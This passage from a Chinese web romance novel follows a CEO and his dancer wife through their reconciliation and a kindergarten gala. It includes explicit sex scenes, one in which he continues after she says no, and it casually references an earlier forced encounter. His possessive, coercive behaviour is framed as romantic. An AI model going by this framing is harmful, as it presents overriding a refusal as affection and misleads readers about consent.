“我有弄湿它的时候,自然也该有洗干净它的时候,不是吗?”谢温言将这一席话,说得一本正经。 周绾宁一噎,但没阻止。 谢温言拧干衣服,带到阳台处挂好。 此刻,雷暴已经停下,只有簌簌的雨落下,城市一片的潮湿。 谢温言看着自己走到哪跟到哪的小跟屁虫,笑了,直接将她搂紧在怀里:“是不是有话要跟我说?” “我听明潇说,林晗最近在忙着修复一件东西,那件东西是你之前说过的,我婆婆要送给我的礼物,你还会把它给我吗?” 谢温言愣了下,戏谑不已:“刚刚说我是客人,现在又喊我妈是婆婆,周绾宁那现在我是什么?”他搂着她的手更加紧了一些。 “我……” “它本来就是属于你的。” “那你为什么不支持我回舞台?” 谢温言嗤笑:“我什么时候说过,不许你回舞台了?周绾宁,我说过的,你要做什么,我都支持。” 周绾宁眸光动荡:“可你明明没有理会我的留言,也没有来啊,我说的很明白,你如果我支持我重返舞台,就来看我的复出舞台,但你没有来……” 谢温言回忆起那天只来得及看【谢温言,对不起】那几个字,他不敢往下看,等再看的时候,手机又孙子琦毁了。 所以那天的信息他根本没有看全。 “把你手机给我。” 周绾宁听话地交出了自己的手机。 谢温言一开始没在她的置顶联系人里看到自己,与一脸无辜又眼神躲闪的她对上一眼,立马翻到黑名单里。 果然自己躺在那。 他将自己的微信拉回来,又查看她在那天给他打了很多电话、询问很多次他是不是不愿意她回到舞蹈。 而那句对不起后面跟着的是她对自己的肺腑之言。 所以…… 那天她一直在等他,没在舞台上看见他后,又是什么心情。 回到家后还被吃醋的他不由分说给…… 谢温言低下头,情绪的波动让他的伤口也在泛疼:“绾宁……” 周绾宁看着他,把自己心里的话说出来: “那天我没在观众席里看到你,我一直觉得你不愿意我回到舞台上,谢温言,我知道我们的合约是我必须好好做你的妻子,所以如果我达不到你妻子的标准,我是毁约了的。” “孙晗莉说,谢家的儿媳不许跳舞,不许抛头露脸,我极力克制对舞台的喜欢,以为自己这两年再也不能碰舞蹈了。直到有一次我吃了你和沐黎的醋,才意识到我不该因为想做你的妻子而放弃我的热爱。” “我喜欢跳舞,我不能没有舞台。” 谢温言用额头抵着她的:“什么时候吃了我和沐黎的醋。”既然今天要互相倾诉,他就要她好好将心里的委屈说出来。 从此也可以看看,他这个丈夫到底有多不称职。 “你和沐黎上热搜那次,我看到他们都说你和沐黎是首席cp,一个京舞团首席,一个首席执行官,你们都有自己热爱并为之奋斗的事业,可我明明在结婚前最想要做的事情就是带着我的舞蹈去进行世界巡演,可为了履行和你的合约,我不得不放弃这个梦想。” “周绾宁,我从来没有不支持过你,也没人比我更希望你能回到舞台上。” 周绾宁垂下头,眼泪浓郁地充斥在眼眶里:“你有过。” 她深吸一口气,将眼泪憋回去,“不过过去的事,我不想再纠结,你只管告诉我以后。” 谢温言将她揉进自己的怀里:“你尽管回到你的舞台上,我永远是你……” 春鈤 就在谢温言轻轻说出“黑暗先生”的时候,整个公寓的电回来了。 屋内的灯光、打开的电视吸引走了周绾宁的注意力。 谢温言也不知道她听到没,只是有些放心,待会自己走掉,她也不会陷于害怕里。 这时,周绾宁回过头看他,问道:“那明天幼儿园的六一晚会,你会来参加吗?” “会,一定会。” 周绾宁踮起脚尖去吻他的唇。 谢温言躲掉。 周绾宁眸光波动,很是不解:“怎么……不让我亲。” 谢温言不敢对上她的眼睛,怕自己控制不住。 但一旦连他也控制不住,今晚注定一切失控,周绾宁会发现他身上的伤,会害怕,会伤心。 谢温言低下头,扯了个理由:“我不想让你回想起上一次的事情。” 周绾宁有点get到他的意思了,怕是他还在愧疚于上次强迫她的那次。 于是她捧住他的脸颊,用自己的鼻尖轻轻蹭了蹭他的:“那你也让我强迫你一次,咱们相互抵消?” “今晚不太行,我还要回公司。” “啊……”周绾宁的眼神里有些失望,但想起他刚刚手机响了好几次,便乖巧点头,“好吧,如果公司的事很重要,那你就快些过去吧。” 她收拾好自己的心情,“反正现在雷暴已经停歇了,我不会再害怕的。” 她能感知到谢温言今天发了烧也要过来,就是担心她在雷暴天下会恐慌。 这样乖巧懂事的周绾宁,真的没法不让谢温言为她动恻隐之心,他微微俯身单手将她揽腰抱起,端着走向卧室。 “诶,怎么了?”周绾宁见方向是自己的小被窝,不免诧异,“你不是说今晚不行吗?” 谢温言将她放到被单里,将室内的光熄灭,只留下之前为她装的星空顶。 “如果让我那儿去亲你那,怕是要三四个小时还不够。那确实不太行。但现在不是用那……” 说着,谢温言先是俯身在她额头上亲了亲,又顺着鼻子亲到她的双唇,细细撩拨后,道,“用我的唇舌,会到的比较快,你知道的。” 周绾宁当然有见识过,几乎是下意识伸手挡在那,并拒绝:“别……” “绾宁,顺从我这一次。” 说着,谢温言往下亲去。 周绾宁仰头看着上面的星空顶,周围的小夜灯将他们两个都影子打出了四五道重影。 她看到谢温言从她身上渐渐下移。 间或,是他带着诱哄的声音,磁沉又性丿感:“绾宁,虽然你嘴上说着拒绝,但那儿永远那么欢迎我。” 周绾宁脸颊泛红,连忙抿唇,不打算给他任何回应。 谢温言握住她的脚踝、拉开,埋头吻着、啃着。 无论是强势的谢温言,还是现在温柔的谢温言,周绾宁根本就招架不住。 但她喜欢极了他放下身段,向她低头。 谢温言的唇时不时贴上她那,每一下,她都像是浑身过了电流一样,每根头发丝都在叫嚣着有多……快乐。 一时间,她也分不清那潺潺的声音,是窗外的雨打着窗户,还是自己那的声音。 第38章 挑衅 dirtytalk在她耳边回响…… 周绾宁也不知道谢温言什么时候离开的, 好半晌,她的头脑才恢复灵光。 只是她感觉自己的手脚都是发麻的, 太多次的极限,让她感觉自己四肢百骸的水都流干了,第一反应是渴。 她翻了下身,光是动一动,就能察觉出整个腰都是酸的。 她撑起自己,看向双膝,发现骶骨以下全是吻痕。 “禽兽。”暗骂了一句, 周绾宁扯好自己的睡裙, 下床去找水喝。 却发现床头柜上早就摆放了一杯白开水。 谢温言留言:【里面倒了些葡萄糖, 记得喝一点, 补充些营养。】 一时间,刚刚他时不时的dirtytalk在她耳边回响。 周绾宁轻咳一声,默默喝了几口水,然后将纸张翻个面, 用杯子压住。 她想,那个軟着声音对谢温言说想要的,绝对不是自己…… 一定是排卵期激素作祟, 自己完全是无辜的。 她才没那么想要他。 * 谢温言刚到医院,温璐琳就带着院长跑了过来,劈头盖脸的就是骂:“上学时候都没做过逃课,今天倒是让我这个做小姨的长见识了,刚做完手术就敢从病房逃出去, 还那么晚回来!” 温璐琳很想揍他,但忍了下来。 谢温言则被护士按在轮椅上,直接往病房里送。 他看到小姨火急火燎的模样, 也知道她是关心自己。 到了病房里,医生帮他扯开衣服,重新上药。 温璐琳看到伤口,更是气炸:“都裂开了,谢温言,你能不能对自己上点心?伤口感染可是要命的。” 这时,护士拿出体温计测量,念出体温计上亮出的数字:“39°了。” 温璐琳攥紧拳头,气得要骂人,最后指了指谢温言:“行,你给自己造成这样,我管不了你,你老子你爷爷也管不了你,但我觉得绾宁应该不至于是个知道你受伤那么严重,还任由你这样任性胡来的,我现在就跟她去说。” “别……”谢温言这才出声妥协,“我错了,小姨。” 看着自己这怂样,连他自己都忍不住失笑,“求你别告诉绾宁。” 温璐琳没好气:“你看看你!出息。” “改天,我倒是要去向绾宁请教下,她是怎么把你这个犟种吃得死死的。” 说完,温璐琳也不在病房里久待,带着其他医护人员离开了。 谢温言捂住伤口,闭目养神,盘算着明天该怎么躲过小姨的追杀,顺利去星海幼儿园看周绾宁的演出。 忽的,之前在周绾宁小公寓里,她在他身下辗转扭动的画面,清晰地呈现在了他的脑海里。 谢温言看着自己盎然起来的弟弟,刚决定自己伸手解决。这时,小助理来了电话。 准备在医院自掳的做贼心虚,差点让他萎靡。 “喂?”他接起。 林晗:“总裁,你的手机和之前要我去帮忙修复的录像带都已经修复好了,需要我给您送过去吗?” “直接送天澜公寓吧,我最近……住那。” “天澜公寓,那不是夫人的小公寓吗,哦~懂,我会亲自送到她手上的。”林晗很上道。 “记住,别向她透露我受伤的事情。” “好的,总裁。” 谢温言挂断电话,打开微信自己的小号朋友圈,这是他用黑暗先生身份,记录了他们家小姑娘从他们相遇后的每一个舞台,每一张高清的海报。 她说他不允许她回到舞台,再也没有比这更冤枉人的事情了。 不过今后,他会用实际行动告诉她,他有多支持她回去。 * 周绾宁是在第二天一早收到的那盘贵重的录像带,还有谢温言的手机。 林晗发消息过来,解释了那份“聘礼”,还有谢温言手机损坏的缘由。 她收下后,回了林晗消息,而后观摩了她的婆婆给她留下的“丰厚聘礼”。 这段编舞从没有面世过,周绾宁已经想好该怎么将它对外发行了。 等到三首舞蹈结束后,镜头忽然闪了闪雪花,随即出现一张熟悉又温和的脸。 是温璐芸老师。 她对着镜头打招呼,一派岁月静好的模样:“你好,我是谢温言的母亲,也是你从未见过面的婆婆。” “虽然很冒昧,不知道以后的你会不会接触舞蹈相关,但我还是将这份礼物录制下来,让以后得温言转交给你。” “因为我相信,温言既然把这份礼物交给了你,你也一定会愿意将这首舞蹈传承下去。无论以什么方式,拜托。” 说话间,温璐芸做了一个拜托的手势,慈眉善目、和气大气。 而谢温言的气质和她的气质、五官接近一模一样。 怪不得自己当初在天台上看到谢温言的时候,会对他的话信服,而不是觉得他是一个在吹牛的人。 忽然,视频里响起一声奶声奶气的:“谢谢温言哥哥给囡囡买的养乐多!” 只见镜头对准了不远处的谢温言,他穿着夏日凉拖鞋,十分有年代感了,手上还捧着一本童话绘本。 而刚刚说谢谢谢温言哥哥的小朋友绑着两角辫,叫上穿着红色圆头舞鞋,伸手抬高谢温言的手臂,然后吃力地钻进去,坐在他身前和他一起看绘本。 半晌后,她理直气壮指挥:“哥哥,你翻太快了,囡囡看不懂。”说话间,她拍拍自己的胸脯,示意囡囡指的是自己 ??????。 谢温言虽然没说话,但放慢了翻阅速度,还给怀里的小女孩讲解绘本里的故事。 掌镜的另有其人,对方拿着镜头往谢温言那移过去:“璐芸未来的儿媳妇,给你看看小时候的温言。虽然不知道以后温言会是什么性格,但小时候的他还算是小暖男一枚呢。” “林姨姨,什么是儿媳妇?”小姑娘举手看她,带着年代感的镜头下,有一股浑然天成的懵。 镜头移到一旁的温璐芸身上,她显然也不知道说什么好,只尴尬笑笑。 谢温言倒是回答得一本正经:“儿媳妇的意思,就是你如果成为哥哥的新娘,那你就是我妈妈的儿媳妇。” 小姑娘“哦”了一声,亲了一口谢温言的脸蛋:“那我要做哥哥的新娘子。” 看着这一幕,周绾宁有被童言无忌的小朋友可爱到,有些好奇她是谁。 那应该不是沐黎,沐黎和谢温言一样大。 可能是跟着温老师学舞蹈的小妹妹。 周绾宁有些感慨,果然谢温言从小就招小姑娘喜欢。 不仅长相秀气非凡,气质也像一个温润如玉的小王子。 但不知道为什么,她越看那个两角辫子小姑娘越觉得眼熟…… 这时,小女孩面对镜头,露出笑眯眯的眉眼。 周绾宁愣住。 镜头到这就结束了,但有一些记忆在她脑海里链接起来。 这时,她手机收到了消息。 是谢温言发来的:【起了吗?】 【嗯,起了个大早,看了盘录像带,发现你从小就是撩妹高手。】 谢温言那端沉默了许久:【我没有撩过别人,只有你。】 周绾宁嘴角勾起:【可是你都答应人家,让她做你的新娘了。】 谢温言又是一个大沉默。 【绾宁,你在生气吗?】 看到他难得弱小无助的模样,周绾宁心情竟然大好。 【对了你手机在我这里。】 【嗯,我让林晗一起送过去的。】 【你不怕我翻看什么?】 【密码是你身份证后六位,里面没有什么是你不能看的。我要忙了,李叔应该在等你了。】 周绾宁回了个嗯,而后准备收拾收拾下楼。 这时,谢温言的手机响了一下。 周绾宁回头看去,消息浮在上面。 是周思恒发来的。 不等她好奇周思恒和谢温言怎么会有联系方式的时候。 周思恒又发来一张照片。 周绾宁没忍住,打开了谢温言的手机查看消息。 【谢温言,这些都是周绾宁曾经对我的示爱。】 【七年前你就喜欢她了,有什么用,周绾宁喜欢我十年了,识相点就别再缠着她。】 【哦,上次她复出舞台你也没被邀请吧,这还不能证明一个点吗?】 【在周绾宁心里根本没有你,你早就是个局外人了。】 【你们的婚姻,她早就放弃了。】 每一句话,周绾宁都看下来了。 那些照片她也放大看了,有她当初写给周思恒的情书,也有她和周思恒以前的合照。 从时间上看,周思恒并不是只有这几天发给他,一早就已经在用她曾经暗恋他的事情挑衅谢温言了。 周绾宁知道如果真的喜欢一个人是会心疼的。 这一秒,她心疼之前看到这些消息的谢温言。 所以那几天谢温言看上去都很不高兴,原来是因为周思恒找他说了这些吗? 周绾宁不知道自己的情绪是怎样的。 她先打开了谢温言现在在使用的手机号,打电话过去。 那边电话响了好一会儿才接。 “谢温言。” “……嗯?” 不知道是不是她的错觉,谢温言的声音有一些疲惫。 周绾宁静了静,努力鼓足勇气想将心里的话说出口。 谢温言小声问她:“怎么了,绾宁?” “我……我……我想你了。” 临到头了,那句“我爱你”还是有点让人害羞到说不出口。 周绾宁觉得得等晚上见到他了,再说。 “好,我也想你。晚上见?” “嗯,晚上见。” 周绾宁挂断电话,心里不知怎么很踏实。 但想到周思恒在她不知道的时候,这样对待谢温言,她护犊子的心上来了,先将周思恒从黑名单里拉出来,随即给他发了条消息过去。 【周思恒,我明确再跟你说一遍,我现在已经不喜欢你了。如果你再来打扰我和谢温言的生活,我不会再对你客气!】 对方很久后才回:【他按捺不住,向你告状了?】 周绾宁气笑:【周思恒,过去的事情都过去了。以前我是喜欢你,但现在我对你只有厌恶。从你亲手将周家送进地狱开始,我们就已经是仇人了,你少装深情给别人看,你自己清楚你究竟是一个怎样的人!】 发完这一句,周绾宁将他的手机再次拉黑。 另一边,看完周绾宁最后一条消息的周思恒气得将手机砸在了地上。 他转身看着眼前被查封的周家。 所有的一切都没有变过,他也叫人来清洗打扫了。 为什么房子都能恢复原来的样子,而他和周绾宁不能回到当初? 从小陪在她身边的人就是他,凭什么谢温言能最终获得周绾宁。 周思恒撑了一下鼻梁上的镜框,光芒反射间,眼神暗狠。 他重新拾起手机给助理打了电话:“我听说星海幼儿园今天有晚会,帮我拿一张入场券。” “是。” 周思恒再次看了眼这个别墅,眸色阴沉不已:“绾宁,我会让你回到这里,回到我身边的。” 说完这句话,他离开了周家别墅。 第39章 校庆 想方设法得到她。 温璐琳是在停车场找到的谢温言。 本来她还想要“家法伺候”这个重伤也要外出的外甥。 但外甥说了一句话:“我不想错过我妻子的任何一场表演, 她的舞蹈以后更是看一场少一场,我不想有任何遗憾。” 温璐琳想到了自己的姐姐。 曾经她以为温璐芸是生在舞台上、长在舞台上, 会是聚光灯下发芽、生长的玫瑰,结果玫瑰离开一直孕育她的土壤,最后会枯萎至此。 每每想到姐姐那样骄傲的人,最后因为一个深爱的男人对人性失望,最后一跃而下。 她恨谢家。 温璐琳答应了:“好,我陪你去。” 谢温言说了句谢谢。 “不过绾宁那么喜欢跳舞的人,为什么不继续跳了?”温璐琳一开始对谢温言喜欢的人其实也不太在意的。 直到后来他说起周绾宁是一个很喜欢跳舞的人, 温璐琳也对这个小姑娘有些留意, 甚至也去看过她的舞台现场。 只是后来见小姑娘和谢温言结婚后, 去做了幼儿园老师。 她还以为周绾宁想要过简单的生活, 在家相夫教子。 但从现在周绾宁冒着甚至要与谢温言离婚的念头都想回到舞台,足以见得之前她都在压抑自己的喜欢。 可为什么呢? 谢温言应该很支持她回到舞台。 “我直觉猜测是跟谢家有关系,但绾宁给我的感觉,是跟我有关系, 我今晚会好好问问她的。” 温璐琳点点头。 两 春鈤 人出发前往星海幼儿园。 * 幼儿园办公室里,不少平日衣着随意的老师们,都很在意今天的着装。 男老师穿西装衬衫打领带, 女老师们也都穿正装画淡妆。 毕竟这是五年才搞一次的校庆,大家都很重视。 周绾宁在舞蹈室里帮孩子们进行最后一次彩排后,回了办公室里。 不时,有新转过来替班的女老师,积极凑过来跟他们八卦。 “据说, 今天最上面的那几位都会来。” “是谢家那位吗?平时只能在集团财报上看见他,没想到这次终于可以看到真人了,不知道他的老婆会不会来。” “应该也会来吧。这次阵仗很大, 平时安保也就十个,今天竟然来了五十几号人。” “绾宁,你紧不紧张?”突然,韦老师在一旁关心道。 “对呀绾宁,今天你可是要登台表演的,还有那么多大佬要来,紧不紧张呀?” 周绾宁回:“……有一些。” 这也相当于她第一次在谢温言面前表演舞蹈。 “不紧张不紧张。”一旁李老师安慰道,但也很好奇,“这次好像还可以邀请家属来看,上次幼儿园家属联谊会,小周老师的对象没来,那这次晚会总该过来看看那么漂亮的小周老师表演那么漂亮的舞蹈了吧。” “是啊是啊。”于淼一脸期待,“哪个男生那么幸福,能够拥有身娇体软、肤白貌美的绾宁老师呢?” 周绾宁第一次愿意在办公室分享谢温言:“他其实是一个很好很好的人。” “哟哟哟,看看、看看,咱们绾宁老师在说起自己的对象时,眼睛都会发光诶。果然,恋爱之中的女生笑容里都是装着蜜饯的。”一旁的小李老师不禁起哄。 “所以,他今天会来嘛?” “会来,但我不确定他什么时候来。” “哇塞,终于可以看看这个神秘的对象了,到时候小周老师你可一定要把他介绍给我们认识认识。” 周绾宁想了想:“有机会的话,我会的。” 这时,门口徐婧过来了:“别都站着聊天了,校长叫我过来带你们去迎接领导了。” “看来那些集团领导都到了!”韦老师挽着周绾宁往外走。 到了校门口,周绾宁跟随老师们还有学校领导分别站在大门两侧。 劳斯莱斯停在了红毯尽头。 车里,温璐琳一眼就看到了那个在老师堆里气质出众,阳光下白得发光的周绾宁。 怪不得让人见面后念念不忘,她如果是个男人,怕是也会想方设法得到她。 “你和绾宁还没公开吧?”温璐琳知道网上并没有公开谢温言妻子的照片,只有几个走得近的家族看到过周绾宁的样子。 “没有,之前是想保护她。” 不想让周思恒知道她的近况。但现在周思恒回来了,他或许可以有意无意出入周绾宁的交友和工作圈,宣誓一下主权。 也不知道是不是心有灵犀。 随着谢温言注视周绾宁,周绾宁也抬起头看来。 两人隔着一层黑色玻璃遥遥相望。 周绾宁微微一笑。 站在周绾宁身边的男老师愣了一下,也朝车里看去。 “小周老师,你在笑什么?” 周绾宁愣了下:“我、我有笑吗?” “嗯,看着就像是遇到了老熟人。怎么,你和谢家那位太子爷认识?” 周绾宁刚想说认识,就在这时,那端车门打开了。 学校请来的媒体狂拍照,闪光灯蹭蹭蹭地打断了她的回答。 她和覃老师的目光都随着人潮看向了从车上下来的男人。 周围已经到场的学校领导和集团领导,此刻都已经围了上去,去握手、去巴结。 谢温言的目光越过人群精准与周绾宁对上,周绾宁低下头。 倒是一旁的于淼已经低声尖叫了:“啊啊啊,宽肩窄腰大长腿,皮肤白皙、五官深邃,我一直都听说这位CEO很帅,没想到本人更帅啊。” 周绾宁压低声音:“淡定,小声些,周围都看过来了。” 这个来代替叶希荷的老师,也很年轻,但从她身上周绾宁感受到的不再是攻击性,而是年轻与朝气。 于淼捂住嘴,而后看看谢温言又看看周绾宁,心花怒放后有些许遗憾:“呜呜,可惜了。” “可惜什么?” “可惜小周老师你已经有对象了,不然我就可以磕cp了。” “我和谢总都不认识,你怎么磕?” 于淼一脸“这你就不懂了吧”:“只要是帅哥美女,都会成为我画里相爱的cp!” 周绾宁想起于淼私下还是个画手大触,忍不住笑。 这时,闪光灯又亮起了,只见车上下来一个气质文雅、美貌温柔的女人。 周绾宁愣了下,依稀能从这位女生的五官里,看出温璐芸老师的影子。 但不等她思索对方是谁,于淼又是惊叹:“啊,那不会就是总裁夫人吧,好好看哦!就是从衣着打扮和气质上看着不像是总裁夫人,倒像事业有成的富婆。” 随着于淼的猜测,周围人纷纷被吸引注意。 “一直听说谢总对老婆很爱,哇塞,要是这样的大美人,我也会很爱的好吗。” “可是看着不年轻,感觉比那谢总还要大个四五岁。” “也可能谢总就喜欢姐姐这一款吧。” 周绾宁听着周围传来的猜测,心里暗暗尴尬。 她认出来了那个女生是谁。 是之前帮她治疗胃病,谢温言的小姨。 但她有些好奇,为什么小姨今天会从医院出来,难道是被谢温言特意邀请过来看她跳舞的? 一群人恭维着谢温言许久,直到周辞安过去握手。 周辞安对于这个姐夫现在想法很复杂。 他不太清楚他和周绾宁之间到底是一种什么状况,但想来能让他姐姐伤心的算什么好东西。 于是周辞安态度有些冷淡:“大会堂已经准备好饭菜了,谢总可以先去用餐,用晚餐就是晚会表演。” 谢温言倒是觉得这小舅子的态度有点值得商榷。 “好。”他大步往前走,只不过目光一直盯着不远处的周绾宁。 那份炽热,让周绾宁那块地方的老师们都感受到了。 但他们并不清楚谢温言到底在看谁。 老师里平时教学任务做得不错的,此刻纷纷抬头挺胸、底气十足。 至于平时有点松懈懒散的,这时候都不敢与他有对视。 但于淼观察到连续两周担任优秀教师的周绾宁,此刻眼神躲闪,不免好奇:“我平时摆烂不敢看大老板也就算了,你工作那么认真,怎么也不敢看。” “……有吗?” “你、有!哎呀快看!放心大胆地看。这么帅的帅哥少看一眼都可惜了。”于淼煞有其事。 周绾宁眨眨眼睛,胡口就来:“可能就是因为老板太帅了,我怕我看了心动。会对不起我对象。” “爱美之心,人皆有之,你对象会理解的。” 于淼宽慰着,但话音落下不久,又突然惊呼起来,“我靠,大老板怎么朝我们过来了。” 周绾宁顺着小姑娘的话抬头看去,只见谢温言正穿过众人,目标是她。 她垂在身侧的拳头攥紧,整个人都有些不对劲了。 如果谢温言在这个时候官宣她…… 好像也可以吧,就是会不会太过高调了?谢温言不是这么高调的人啊。 就在周绾宁鼓起勇气,做好准备迎接他向众人官宣自己的场面来临时,忽然,她的袖子被一旁的覃老师扯了扯。 “小周老师,不好了,刚刚林老师发来消息说,舞蹈室里有个小朋友摔了,我们得去看看,万一她上不了台,还得换人。” 从大彩排开始,覃老师就是后勤保障,两人也因为统筹跳舞的事情,联系得有些密集。 周绾宁听了他的话,面色也紧张起来:“孩子没事吧。” “不太清楚,我们快走。” “哦,好。” 随即,不等周绾宁反应过来,覃老师拽起她就从人墙里撤退,往舞蹈教室跑。 谢温言见周绾宁被拽离,向她前进的脚步一顿,眸光里也瞬间有寒意掠过。 一旁的盛坤教育的孙总过来,小心翼翼地询问:“谢总,是怎么了?” “没什么,本想和几个老师一起握个手合个影,但现在时 椿?日? 机不允许。” 孙总看了看时间:“确实,得赶紧进去用餐了。” “好。” 谢温言面上和煦地应声,但一想到刚刚那个男老师拽周绾宁离开的画面,心里还是有那么一些…… 不,是很不爽。 就在他和孙总要离开时,红毯尽头又驶来一辆rs7。 众人循声看去,只见从车上下来两个人,一个是盛坤教育代言人,沐黎。 而这另外一个……是不速之客,周思恒。 看到周思恒的那一刻,谢温言上位者的气息愈发浓郁,整个人的温和消散,变得冷漠异常。 他伸出手微微在半空晃了晃。 远处的裴特助接收到信号,立马带着安保守在红毯半途,给谢温言回了个眼神。 谢温言点点头,转身带着自己的人,便往幼儿园里面走。 而学校领导和集团领导见他要离开,压根顾不得后面还来了谁,连忙一群人浩浩荡荡地护送谢温言走向学校大会堂。 刚下车走到红毯尽头的沐黎以为谢温言没看到自己,大步向前走,想要喊停他。 结果一旁窜出来的裴特助,拦住了她的去路。 “沐小姐不好意思,此次学校晚会,未受邀请者不得入内。请问……您有邀请函吗?”裴特助一脸冷漠、不近人情。 沐黎向来高傲,但面对裴特助的时候也不敢不给好脸,于是缓和脸色说道:“裴助,我觉得我是盛坤教育签下的代言人,那我来参加星海幼儿园的校庆,应该也算合理的吧。” “此次是邀请制,没有邀请函的,都不得入内,包括你。”这个你,指代的是一旁想要强闯的周思恒。 “也包括你,沐小姐。”裴特助补上半句话,随即示意一旁的保镖,“好好看着入口,任何闲杂人等,都不许放进幼儿园里。” “是!特助。” 保镖们应下,里三层外三层将幼儿园大门堵得严严实实。 裴特助离开。 而周思恒看着面前的三堵人墙气笑。 他的助理拿不到邀请函,但打听到京舞团的沐黎是盛坤教育代言人,他便主动找上沐黎合作。 他给她世界巡演的投资,她帮忙负责帮他介入谢温言和周绾宁之间的感情。 但没想到首战不战而败,两人甚至都没进去! 周思恒看着幼儿园上面盛坤集团的徽章,笑着咬牙:“谢温言,你最好24小时都能守着她,别让我抓到机会。” 而一旁的沐黎听到这句话,愣住,心下隐隐不安。 第40章 唇色 用舌头撬开她的牙关。 谢温言没有去用餐, 温璐琳也让他等晚宴结束后直接去医院里挂点滴休息。 他穿过学校的长廊,来到舞蹈教室外, 朝里看去。 只见周绾宁正蹲在地上,给一个小女孩检查她的膝盖擦伤。 检查完毕,她温柔地对小女孩笑了一下,而后伸手揉揉她的头发:“没有伤得很深。” 小女孩钻进周绾宁怀里,泪眼汪汪地看她:“那老师我还能上台吗?你帮我排了那么久的舞蹈,我不想就那么放弃。” 周绾宁一边帮她穿舞鞋,一边安慰道:“有志者事竟成, 你先休息一下, 我们的舞蹈是最晚的, 如果你那时候上台还会疼, 咱们就等下一次,好吗。” 小女孩立马喜笑颜开,抱着周绾宁蹭蹭。 周绾宁揉揉她的头发,站起身。 谢温言准备走进去, 想让她也安慰安慰自己。 这时,那个在校门口拽着周绾宁离开的男老师拿了瓶饮料过来,期间暗暗拧紧了瓶盖, 确保女生的力气打不开后,才递过去。 对方还故意找了话题:“小周老师,外面的晚宴已经开始了,晚会也快了。不如你先喝点饮料补补体力,待会舞蹈加油?” “谢谢。” 周绾宁笑容亲和地接过饮料, 刚要转动,却发现打不开。 覃扬连忙重新拿回来帮她拧开。 谢温言将这一幕看在眼里,禁不住嗤笑, 眼神倒是有些疯感。 覃扬好奇询问周绾宁:“小周老师,其实你是骗他们的吧。” “嗯?什么?”周绾宁没理解覃扬话里的意思。 “我观察你好久了,身上从来没有另一半的迹象。是不是反感幼儿园那些阿姨给你介绍对象,你才说自己有对象的?” 周绾宁愣了下,有些觉得被冒犯,但秉着大家都是同事,没有翻脸,只是后退了小半步表示:“我已经结婚了。” 覃扬愣了下,不太相信:“那为什么从没有见过你老公来接送你,你们……是不是感情不太好?” 周绾宁抿了抿唇,刚准备从衣服口袋里取出婚戒带上,但覃扬伸手握住她的手。 而覃扬的这番举动让周围的小朋友都星星眼地看着他们。 “覃老师和周老师牵手手了诶!” “哇喔,覃老师是在和小周老师谈恋爱吗?” “覃老师加油,覃老师加油~” “……” 覃扬听着孩子们的鼓励,立马鼓起勇气道:“小周老师,其实从你进幼儿园开始,我就已经喜欢上你了,你能不能给我一个机会。如果你不愿意公开,我……我可以做地下恋人。” 周绾宁震惊了,连忙扯回自己的手:“覃老师,请你自重。” “小周老师,我……” 就在覃扬还想说什么的时候,周绾宁的手机响了。 她拿起来,连忙对覃扬展示手机上显示的“老公”两字:“覃老师,你看,我真的结婚了,我跟我老公感情也很好。” 说着,周绾宁几乎是求救一般接通了谢温言的电话。 谢温言开口就是一句话:“放扩音。” 周绾宁不解,但乖乖照做。 “哪来的狗东西,觊觎我老婆?” 周绾宁愣了一下,下意识捂住话筒,然后挂断电话,慌忙朝周围看去,想要看到谢温言在哪。 同时她跟周围听到刚刚谢温言话的小朋友道:“刚刚那个叔叔说脏话,咱们不理他,不能学哦。” 而好久没有反应过来的覃扬,半晌后,问了一句:“刚刚那个声音?” 周绾宁道:“什么都不是。” 谢温言气笑,微微后退,缩进一旁的楼道里,给周绾宁发了条消息:【绾宁,我受伤了,心脏有些不舒服,你能过来看看我吗?】 三秒后,舞蹈室里,周绾宁的手机声音响起提示音。 她也像是看到救命稻草一样,对覃扬道:“我老公要来了,我去接他。” 说完,她快速跑离舞蹈教室。 但在经过楼道的时候,被一旁突然伸出来的一只手,拽了过去。 她只来得及发出一道低呼,最后被一只大掌捂住了嘴巴。 谢温言的气息盈满她的心脏,几乎当即,除了身躯突然失控的惊吓还在,但被男人贴近的恐惧消失。 是她很喜欢的人的气味。 周绾宁发出“呜呜”的声音,示意他将自己放开。 但谢温言没放,而且将眼神故意变得凶狠:“宝宝,什么时候在你工作的地方公开我,给我一个名分?” 周绾宁想要说话,但谢温言像是知道她一定会找借口拒绝,故意不放。 于是,她没办法伸出舌头轻轻舔了舔他的手心,像只小猫一样。 几乎是肉眼可见的,谢温言的眼睛漆黑一片,带着慾色。 谢温言将她放开了。 周绾宁也得空说话:“谢温言刚刚你都看到了?” “嗯,每次来幼儿园找你,都会遇见各种各样的人缠着我老婆。那老婆,我是什么?”说话间,谢温言凑到周绾宁耳朵旁,看似是与她拥抱,实则是凑过来轻轻地咬她耳垂,气息灼热地贴在她身上。 周绾宁的四肢瞬间就軟了。 但好在她的腰身被谢温言紧紧箍住,没再往下滑,而是紧紧被贴在了他的身上。 这时,走廊里传来覃扬的脚步声。 还有对方的疑惑:“人呢,是摔倒了吗,小周老师?” 谢温言声音危险,低哑且戏谑:“老婆,愿意给我一个名分了吗?” 说话间,他的手放在门上,像是要让门发出碰撞声,吸引过道里那位的注意。 “这里是学校,我马上就会从这里离开,没必要让他们知道你和我的关系。”周绾宁注意到了这点,连忙哄他,“等以后再公开也行呀,今天不太好吧。” 谢温言也没想在今天公布她是自 ?????? 己妻子的事情,今天是她的主场,不是他的。 马上盛世天启就会上市,说不定可以在那天官宣。 但是…… 不代表今天的事情就这么算了。 就在他暗暗较劲的时候,周绾宁忽然踮起脚尖亲吻他的双唇,亲了亲,又稍微分开一些:“不生气了,我、我只喜欢你。” 谢温言愣住,放开门,直接将周绾宁摁进怀里,细腻又猛烈的吻强势地倾袭过去,将她的气息和唾液全部掠夺。 来不及呼吸,又用舌头撬开她的牙关,强势地摁着她的后脑勺不让她躲开。 渐渐的,周绾宁沉浸在属于谢温言的温柔攻势下,忘却时间地点的不对。 走廊里的覃扬刚准备回到舞蹈教室,忽然发现一旁的楼道里传来细微的声响。 他察觉不对劲,探头看去。 只见夕阳的光落在楼道门缝里,里头露出一双锐利的目光。 覃扬没看清他的脸,但总觉得在哪里见过。 但他认清楚了被他亲吻的那个人是谁,是刚刚自己就在舞蹈教室里表白的周绾宁。 他刚要过去,但下一秒,门被关上了。 里面的暧昧丛生,不由得他窥见半分。 * 一直到被打了三四个电话,周绾宁才从迷迷糊糊中清醒过来。 她接了覃扬的电话,对方表示再十分钟就要上台了,让她过去候场。 谢温言则被打断接吻后,十分的不爽。 